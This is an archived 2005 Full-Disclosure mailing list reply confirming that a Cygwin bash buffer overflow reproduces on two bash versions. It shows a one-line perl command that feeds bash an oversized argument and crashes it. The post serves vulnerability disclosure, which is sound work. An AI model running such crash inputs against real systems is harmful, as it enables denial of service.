full-disclosure - Cygwin Bash Buffer Overflow (Cosmin Stejerean)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Tue May 31 16:00:33 2005
From: psmelson at comcast.net (Paul Melson)
Subject: Cygwin Bash Buffer Overflow (Cosmin Stejerean)

>
> Which version of bash for Cygwin? I tried your PoC on the latest version
of Cygwin and everything was fine.
>

I'm able to reproduce it using 2.05b-17 (latest default) and 3.0-2:

$ bash --version
GNU bash, version 2.05b.0(1)-release (i686-pc-cygwin)
Copyright (C) 2002 Free Software Foundation, Inc.

$ /usr/bin/bash `perl -e "print 'a'x8388600"`
    130 [main] bash 2876 cmalloc: cmalloc returned NULL
Segmentation fault

$ bash --version
GNU bash, version 3.00.16(2)-release (i686-pc-cygwin)
Copyright (C) 2004 Free Software Foundation, Inc.

$ /usr/bin/bash `perl -e "print 'a'x8388600"`
      6 [main] bash 3496 cmalloc: cmalloc returned NULL

PaulM